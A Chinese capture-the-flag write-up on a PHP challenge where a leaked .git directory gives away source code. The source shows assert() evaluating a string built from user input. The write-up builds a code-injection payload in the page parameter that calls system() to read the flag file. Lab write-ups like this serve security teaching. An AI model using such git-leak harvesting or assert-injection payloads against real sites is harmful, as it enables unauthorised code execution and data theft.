黄岩城乡住房和建设局网站/安卓手机性能优化软件
一个git源码泄露题目
文章目录
- git源码泄露
- 源码分析
- 构造payload
git源码泄露
打开容器,页面如下
点击About,提示git源码泄露
在url后面加上了/.git/,证明了这一点
然后使用工具进行git源码下载,工具:https://github.com/BugScanTeam/GitHack
在python2的环境下进行源码下载
python GitHack.py http://111.200.241.244:59908/.git/
最后在./dist文件夹下得到源码index.php和templates
源码分析
//index.php
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos函数是查找..存在的首位置// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
然后就是templates文件夹,知道了flag.php的相对位置,在./templates/flag.php中
构造payload
在index.php中,我们发现了一处可利用的地方
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos函数是查找..存在的首位置// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
因为本题没有对我们传入的page参数进行过滤,所以我们就可以进行代码拼接,然后注释掉后面的冗余代码
payload
?page=') or system("cat templates/flag.php");//